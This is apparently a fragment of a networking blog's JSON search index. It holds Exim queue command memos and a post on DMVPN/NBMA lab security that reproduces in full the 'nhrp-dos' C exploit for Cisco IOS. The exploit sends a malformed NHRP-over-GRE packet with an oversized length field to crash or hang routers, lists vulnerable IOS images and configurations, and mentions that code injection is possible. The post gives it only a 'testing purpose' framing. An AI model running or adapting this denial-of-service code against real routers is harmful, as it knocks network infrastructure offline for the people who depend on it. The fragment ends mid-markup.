style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eForce another queue run and attempt to flush frozen messages\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eexim -Mvl message IDView Log for message\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eexim -Mvb message IDView Body for message\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eexim -Mvh message IDView Header for message\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eexim -Mrm message IDReMove message (no errors sent)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eexim -Mg message IDGive up and fail message, message bounces to sender\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Exim - Command"},{"content":"Just in one line memo:\n# watch -n 5 'exim -bp | exiqsumm |grep TOTAL'\n","permalink":"https://www.deepreflect.net/2009/09/16/watch-exim-queue/","summary":"\u003cp\u003eJust in one line memo:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# watch -n 5 'exim -bp | exiqsumm |grep TOTAL'\u003c/code\u003e\u003c/p\u003e","title":"Watch - Exim Queue"},{"content":"I\u0026rsquo;m working on experimental wide lab network based on DMVPN/NBMA, with some friends, dynamic multipoing vpn is seem a great solution, looks like a cheap frame relay infrastructure over internet.\nNow the problem: what about security? especially in dynamical wan ip address envivorment durin spoke-spoke communication, is impossible define security rule on GRE level.\nSolution: I\u0026rsquo;m thinking about\u0026hellip;\nOnly for testing purpose, I find this exploit:\n/******************************************************************************/ /* */ /* nhrp-dos - Copyright by Martin Kluge, \u0026lt;mk@elxsi.de\u0026gt; */ /* */ /* Feel free to modify this code as you like, as long as you include the */ /* above copyright statement. */ /* */ /* Please use this code only to check your OWN cisco routers. */ /* */ /* Cisco bug ID: CSCin95836 */ /* */ /* The Next-Hop-Resolution Protocol (NHRP) is defined in RFC2332. It is used */ /* by a source host/router connected to a Non-Broadcast-Multi-Access (NBMA) */ /* subnetwork to determine the internetworking layer address and NBMA */ /* subnetwork addresses of the NBMA next hop towards the destination. */ /* NHRP is often used for dynamic multipoint VPNs (DMVPN) in combination with */ /* IPSEC. */ /* */ /* URLs: */ /* - [RFC2332/NHRP] http://rfc.net/rfc2332.html */ /* - [RFC1701/GRE] http://rfc.net/rfc1701.html */ /* - [DMVPNs with Cisco] http://www.cisco.com/en/US/tech/tk583/tk372/techno */ /* logies_white_paper09186a008018983e.shtml */ /* */ /* This code was only tested on FreeBSD and Linux, no warranty is or will be */ /* provided. */ /* */ /* Vulnerable images (tested): */ /* */ /* - c7100-jk9o3s-mz.123-12e.bin */ /* - c7200-jk8o3s-mz.122-40.bin */ /* - c3640-js-mz.122-15.T17.bin */ /* (and many other IOS versions on different platforms) */ /* */ /* Vulnerable configuration on cisco IOS: */ /* */ /* interface Tunnel0 */ /* ip address 10.0.0.1 255.255.255.128 */ /* no ip redirects */ /* no ip proxy-arp */ /* ip mtu 1464 */ /* ip nhrp authentication mysecret */ /* ip nhrp network-id 1000 */ /* ip nhrp map multicast dynamic */ /* ip nhrp server-only */ /* ip nhrp holdtime 30 */ /* tunnel source FastEthernet0/0 */ /* tunnel mode gre multipoint */ /* tunnel key 123456789 */ /* */ /* This exploit works even if \u0026#34;ip nhrp authentication\u0026#34; is configured on the */ /* cisco router. You can also specify a GRE key (use 0 to disable this */ /* feature) if the GRE tunnel is protected. You don\u0026#39;t need to know the */ /* NHRP network id (or any other configuration details, except the GRE key if */ /* it is set on the target router). */ /* */ /* NOTE: The exploit only seems to work, if a NHRP session between the target */ /* router and at least one client is established. */ /* */ /* Code injection is also possible (thanks to sky for pointing this out), but */ /* it is not very easy and depends heavily on the IOS version / platform. */ /* */ /* Example: */ /* root@elxsi# ./nhrp-dos vr0 x.x.x.x 123456789 */ /* */ /* Router console output: */ /* */ /* -Traceback= 605D89A0 605D6B50 605BD974 605C08CC 605C2598 605C27E8 */ /* $0 : 00000000, AT : 62530000, v0 : 62740000, v1 : 62740000 */ /* \u0026lt;snip\u0026gt; */ /* EPC : 605D89A0, ErrorEPC : BFC01654, SREG : 3400FF03 */ /* Cause 00000024 (Code 0x9): Breakpoint exception */ /* */ /* Writing crashinfo to bootflash:crashinfo_20070321-155011 */ /* === Flushing messages (16:50:12 CET Wed Mar 21 2007) === */ /* */ /* Router reboots or sometimes hangs ;) */ /* */ /* */ /* Workaround: Disable NHRP ;) */ /* */ /* I\u0026#39;d like to thank the Cisco PSIRT and Clay Seaman-Kossmey for their help */ /* regarding this issue. */ /* */ /* Greetings fly to: sky, chilli, arbon, ripp, huega, gh0st, argonius, s0uls, */ /* xhr, bullet, nanoc, spekul, kaner, d, slobo, conny, H-Ra */ /* and #infiniteVOID */ /* */ /******************************************************************************/ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;netdb.h\u0026gt; #include \u0026lt;arpa/inet.h\u0026gt; #include \u0026lt;sys/socket.h\u0026gt; #include \u0026lt;sys/ioctl.h\u0026gt; #include \u0026lt;net/if.h\u0026gt; #include \u0026lt;netinet/in.h\u0026gt; #include \u0026lt;netinet/in_systm.h\u0026gt; #include \u0026lt;netinet/ip.h\u0026gt; /* BSD */ #define _BSD /* Header sizes */ #define IP_HDR_SIZE 20 #define GRE_HDR_SIZE 4 #define GRE_KEY_SIZE 4 #define NHRP_HDR_SIZE 62 /* Function prototypes */ int open_socket (void); int close_socket (int); int send_dos(int, unsigned long, unsigned long, unsigned long); unsigned long resolve_ip (char *); unsigned long get_int_ipv4 (char *); /* Globals */ int sockfd; int nhrp_req_id; /* GRE header */ struct gre_h { unsigned short flags; /* GRE flags */ unsigned short ptype; /* GRE protocol type */ unsigned int key; /* GRE key */ }; /* NHRP header */ struct nhrp_h { /* NHRP fixed header (20 bytes) */ struct { unsigned short afn; /* NHRP AFN */ unsigned short proto; /* NHRP protocol type */ unsigned int snap; /* NHRP SNAP */ unsigned short snapE:8; /* NHRP SNAP */ unsigned short hops:8; /* NHRP hop count */ unsigned short length; /* NHRP total length */ unsigned short checksum; /* NHRP checksum */ unsigned short mpoa_ext; /* NHRP MPOA extensions */ unsigned short version:8; /* NHRP version */ unsigned short type:8; /* NHRP type */ unsigned short nbma_addr:8; /* NHRP t/l of NBMA address */ unsigned short nbma_sub:8; /* NHRP t/l of NBMA subaddr */ } fixed; /* NHRP mandatory part */ struct { unsigned short src_len:8; /* NHRP src protocol length */ unsigned short dst_len:8; /* NHRP dest protocol length */ unsigned short flags; /* NHRP flags */ unsigned int request_id; /* NHRP request ID */ unsigned long client_nbma; /* NHRP client NBMA address */ unsigned long client_nbma_sub; /* NHRP client NBMA subaddr */ unsigned long client_pro_addr; /* NHRP client protocol addr */ } mand; /* NHRP client information entries (CIE) */ union { struct { unsigned short code:8; /* NHRP code */ unsigned short pref_len:8; /* NHRP prefix length */ unsigned short reserved; /* NHRP reserved */ unsigned short mtu; /* NHRP MTU */ unsigned short holding_time; /* NHRP holding time */ unsigned short len_client:8; /* NHRP t/l cl addr */ unsigned short len_client_sub:8;/* NHRP t/l cl sub */ unsigned short len_client_pro:8;/* NHRP t/l cl pro */ unsigned short preference:8; /* NHRP preference */ unsigned short ext; /* NHRP extension */ } cie; }; }; /* Main function */ int main (int argc, char **argv) { /* Check command line */ if(argc != 4) { fprintf(stderr, \u0026#34;\\nnhrp-dos (c) by Martin Kluge \u0026lt;mk@elxsi.de\u0026gt;, 2007\\n\u0026#34;); fprintf(stderr, \u0026#34;------------------------------------------------\\n\u0026#34;); fprintf(stderr, \u0026#34;Usage: ./nhrp-dos \u0026lt;device\u0026gt; \u0026lt;target\u0026gt; \u0026lt;GRE key\u0026gt;\\n\u0026#34;); fprintf(stderr, \u0026#34;(Set GRE key = 0 to disable GRE keys!)\\n\\n\u0026#34;); exit(EXIT_FAILURE); } /* Check UID */ if(getuid() != 0 \u0026amp;\u0026amp; geteuid() != 0) { fprintf(stderr, \u0026#34;Error: Please run as root!\\n\u0026#34;); exit(EXIT_FAILURE); } /* Open a socket */ sockfd = open_socket(); /* Send DoS packet */ send_dos(sockfd, get_int_ipv4(argv[1]), resolve_ip(argv[2]), atoi(argv[3])); /* Close the socket */ close_socket(sockfd); exit(EXIT_SUCCESS); } /* Open the socket */ int open_socket (void) { int fd; int one = 1; void *ptr = \u0026amp;one; /* Open the socket */ fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP); if(fd \u0026lt; 0) { fprintf(stderr, \u0026#34;Error: open_socket: Unable to open socket.\\n\u0026#34;); exit(EXIT_FAILURE); } /* Set IP_HDRINCL to include the IPv4 header in outgoing packets. */ /* Otherwise it would be done by the kernel. */ if(setsockopt(fd, IPPROTO_IP, IP_HDRINCL, ptr, sizeof(one)) \u0026lt; 0) { fprintf(stderr, \u0026#34;Error: open_socket: setsockopt failed.\\n\u0026#34;); exit(EXIT_FAILURE); } #ifndef _BSD if(setsockopt(fd, IPPROTO_IP, SO_BROADCAST, ptr, sizeof(one)) \u0026lt; 0) { fprintf(stderr,\u0026#34;Error: open_socket: setsockopt failed.\\n\u0026#34;); exit(EXIT_FAILURE); } #endif return(fd); } /* Close the socket */ int close_socket (int fd) { return(close(fd)); } /* Resolve the hostname to IP address */ unsigned long resolve_ip (char *host) { struct in_addr addr; struct hostent *host_ent; if((addr.s_addr = inet_addr(host)) == -1) { if(!(host_ent = gethostbyname(host))) return(-1); memcpy((char *)\u0026amp;addr.s_addr, host_ent-\u0026gt;h_addr, host_ent-\u0026gt;h_length); } return(addr.s_addr); } /* Get IPv4 address of DEVICE */ unsigned long get_int_ipv4 (char *device) { int tmp_fd; struct ifreq ifr; struct sockaddr_in *sin; tmp_fd = socket(PF_INET, SOCK_DGRAM, 0); if(tmp_fd \u0026lt; 0) { fprintf(stderr, \u0026#34;Error: get_int_ipv4: socket failed.\\n\u0026#34;); exit(EXIT_FAILURE); } memset(\u0026amp;ifr, 0, sizeof(ifr)); sin = (struct sockaddr_in *) \u0026amp;ifr.ifr_addr; strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); ifr.ifr_addr.sa_family = AF_INET; if(ioctl(tmp_fd, SIOCGIFADDR, (char *) \u0026amp;ifr) \u0026lt; 0) { fprintf(stderr, \u0026#34;Error: get_int_ipv4: ioctl failed.\\n\u0026#34;); exit(EXIT_FAILURE); } close(tmp_fd); return(sin-\u0026gt;sin_addr.s_addr); } /* Send NHRP packet */ int send_dos (int fd, unsigned long src_ip, unsigned long dst_ip, unsigned long gre_key) { struct ip ip_hdr; struct ip *iphdr; struct gre_h gre_hdr; struct nhrp_h nhrp_hdr; struct sockaddr_in sin; unsigned int bytes = 0; int GRE_SIZE = GRE_HDR_SIZE; /* Packet buffer */ unsigned char *buf; if(gre_key!=0) GRE_SIZE+=GRE_KEY_SIZE; /* Allocate some memory */ buf = malloc(IP_HDR_SIZE+GRE_SIZE+NHRP_HDR_SIZE); if(buf \u0026lt; 0) { fprintf(stderr, \u0026#34;Error: send_dos: malloc failed.\\n\u0026#34;); exit(EXIT_FAILURE); } /* Increment NHRP request ID */ nhrp_req_id++; /* IPv4 Header */ ip_hdr.ip_v = 4; /* IP version */ ip_hdr.ip_hl = 5; /* IP header length */ ip_hdr.ip_tos = 0x00; /* IP ToS */ ip_hdr.ip_len = htons(IP_HDR_SIZE + GRE_SIZE + NHRP_HDR_SIZE ); /* IP total length */ ip_hdr.ip_id = 0; /* IP identification */ ip_hdr.ip_off = 0; /* IP frag offset */ ip_hdr.ip_ttl = 64; /* IP time to live */ ip_hdr.ip_p = IPPROTO_GRE; /* IP protocol */ ip_hdr.ip_sum = 0; /* IP checksum */ ip_hdr.ip_src.s_addr = src_ip; /* IP source */ ip_hdr.ip_dst.s_addr = dst_ip; /* IP destination */ /* GRE header */ if(gre_key != 0) { gre_hdr.flags = htons(0x2000); /* GRE flags */ gre_hdr.key = htonl(gre_key); /* GRE key */ } else { gre_hdr.flags = 0; } gre_hdr.ptype = htons(0x2001); /* GRE type (NHRP) */ /* NHRP fixed header */ nhrp_hdr.fixed.afn = htons(0x0001); /* NHRP AFN */ nhrp_hdr.fixed.proto = htons(0x0800); /* NHRP protocol type */ nhrp_hdr.fixed.snap = 0; /* NHRP SNAP */ nhrp_hdr.fixed.snapE = 0; /* NHRP SNAP */ nhrp_hdr.fixed.hops = 0xFF; /* NHRP hop count */ /* DoS -\u0026gt; Set length to 0xFFFF */ nhrp_hdr.fixed.length = htons(0xFFFF); /* NHRP length */ /* Checksum can be incorrect */ nhrp_hdr.fixed.checksum = 0; /* NHRP checksum */ nhrp_hdr.fixed.mpoa_ext = htons(0x0034); /* NHRP MPOA ext */ nhrp_hdr.fixed.version = 1; /* NHRP version */ nhrp_hdr.fixed.type = 3; /* NHRP type */ nhrp_hdr.fixed.nbma_addr= 4; /* NHRP NBMA t/l addr */ nhrp_hdr.fixed.nbma_sub = 0; /* NHRP NBMA t/l sub */ /* NHRP mandatory part */ nhrp_hdr.mand.src_len = 4; /* NHRP src proto len */ nhrp_hdr.mand.dst_len = 4; /* NHRP dst proto len */ nhrp_hdr.mand.flags = htons(0x8000); /* NHRP flags */ nhrp_hdr.mand.request_id = htonl(nhrp_req_id); /* NHRP request ID */ nhrp_hdr.mand.client_nbma = src_ip; /* NHRP client addr */ nhrp_hdr.mand.client_nbma_sub = 0; /* NHRP client sub */ nhrp_hdr.mand.client_pro_addr = 0; /* NHRP client proto */ /* NHRP client information entries (CIE) */ nhrp_hdr.cie.code = 0; /* NHRP code */ nhrp_hdr.cie.pref_len = 0xFF; /* NHRP prefix len */ nhrp_hdr.cie.reserved = 0x0000; /* NHRP reserved */ nhrp_hdr.cie.mtu = htons(1514); /* NHRP mtu */ nhrp_hdr.cie.holding_time = htons(30); /* NHRP holding time */ nhrp_hdr.cie.len_client = 0; /* NHRP t/l client */ nhrp_hdr.cie.len_client_sub = 0; /* NHRP t/l sub */ nhrp_hdr.cie.len_client_pro = 0; /* NHRP t/l pro */ nhrp_hdr.cie.preference = 0; /* NHRP preference */ nhrp_hdr.cie.ext = htons(0x8003); /* NHRP C/U/Type (ext)*/ /* Copy the IPv4 header to the buffer */ memcpy(buf, (unsigned char *) \u0026amp;ip_hdr, sizeof(ip_hdr)); /* Copy the GRE header to the buffer */ memcpy(buf + IP_HDR_SIZE, (unsigned char *) \u0026amp;gre_hdr, sizeof(gre_hdr)); /* Copy the NHRP header to the buffer */ memcpy(buf + IP_HDR_SIZE + GRE_SIZE, (unsigned char *) \u0026amp;nhrp_hdr, sizeof(nhrp_hdr)); /* Fix some BSD bugs */ #ifdef _BSD iphdr = (struct ip *) buf; iphdr-\u0026gt;ip_len = ntohs(iphdr-\u0026gt;ip_len); iphdr-\u0026gt;ip_off = ntohs(iphdr-\u0026gt;ip_off); #endif memset(\u0026amp;sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = iphdr-\u0026gt;ip_dst.s_addr; printf(\u0026#34;\\nnhrp-dos (c) by Martin Kluge \u0026lt;mk@elxsi.de\u0026gt;, 2007\\n\u0026#34;); printf(\u0026#34;------------------------------------------------\\n\u0026#34;); printf(\u0026#34;Sending DoS packet...\u0026#34;); /* Send the packet */ bytes = sendto(fd, buf, IP_HDR_SIZE + GRE_SIZE + NHRP_HDR_SIZE, 0, (struct sockaddr *) \u0026amp;sin, sizeof(struct sockaddr)); printf(\u0026#34;DONE (%d bytes)\\n\\n\u0026#34;, bytes); /* Free the buffer */ free(buf); /* Return number of bytes */ return(bytes); } // milw0rm.com [2007-08-09] Download\n","permalink":"https://www.deepreflect.net/2009/09/16/cisco-dmvpn-nbma-security/","summary":"\u003cp\u003eI\u0026rsquo;m working on experimental wide lab network based on DMVPN/NBMA, with some friends, dynamic multipoing vpn is seem a great solution, looks like a cheap frame relay infrastructure over internet.\u003c/p\u003e\n\u003cp\u003eNow the problem: what about security?\nespecially in dynamical wan ip address envivorment durin spoke-spoke communication, is impossible define security rule on GRE level.\u003c/p\u003e\n\u003cp\u003eSolution:\nI\u0026rsquo;m thinking about\u0026hellip;\u003c/p\u003e\n\u003cp\u003eOnly for testing purpose, I find this exploit:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/******************************************************************************/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* nhrp-dos - Copyright by Martin Kluge, \u0026lt;mk@elxsi.de\u0026gt;                        */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Feel free to modify this code as you like, as long as you include the      */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* above copyright statement.                                                 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Please use this code only to check your OWN cisco routers.                 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Cisco bug ID: CSCin95836                                                   */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* The Next-Hop-Resolution Protocol (NHRP) is defined in RFC2332. It is used  */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* by a source host/router connected to a Non-Broadcast-Multi-Access (NBMA)   */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* subnetwork to determine the internetworking layer address and NBMA         */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* subnetwork addresses of the NBMA next hop towards the destination.         */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* NHRP is often used for dynamic multipoint VPNs (DMVPN) in combination with */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* IPSEC.                                                                     */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* URLs:                                                                      */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* - [RFC2332/NHRP]       http://rfc.net/rfc2332.html                         */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* - [RFC1701/GRE]        http://rfc.net/rfc1701.html                         */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* - [DMVPNs with Cisco]  http://www.cisco.com/en/US/tech/tk583/tk372/techno  */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                        logies_white_paper09186a008018983e.shtml            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* This code was only tested on FreeBSD and Linux, no warranty is or will be  */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* provided.                                                                  */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Vulnerable images (tested):                                                */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*  - c7100-jk9o3s-mz.123-12e.bin                                             */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*  - c7200-jk8o3s-mz.122-40.bin                                              */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*  - c3640-js-mz.122-15.T17.bin                                              */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* (and many other IOS versions on different platforms)                       */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Vulnerable configuration on cisco IOS:                                     */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* interface Tunnel0                                                          */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*  ip address 10.0.0.1 255.255.255.128                                       */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*  no ip redirects                                                           */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*  no ip proxy-arp                                                           */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*  ip mtu 1464                                                               */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*  ip nhrp authentication mysecret                                           */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*  ip nhrp network-id 1000                                                   */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*  ip nhrp map multicast dynamic                                             */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*  ip nhrp server-only                                                       */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*  ip nhrp holdtime 30                                                       */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*  tunnel source FastEthernet0/0                                             */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*  tunnel mode gre multipoint                                                */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*  tunnel key 123456789                                                      */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* This exploit works even if \u0026#34;ip nhrp authentication\u0026#34; is configured on the   */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* cisco router. You can also specify a GRE key (use 0 to disable this        */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* feature) if the GRE tunnel is protected. You don\u0026#39;t need to know the        */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* NHRP network id (or any other configuration details, except the GRE key if */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* it is set on the target router).                                           */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* NOTE: The exploit only seems to work, if a NHRP session between the target */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*       router and at least one client is established.                       */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* Code injection is also possible (thanks to sky for pointing this out), but */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/* it is not very easy and depends heavily on the IOS version / platform.     */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e/*                                                                            */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 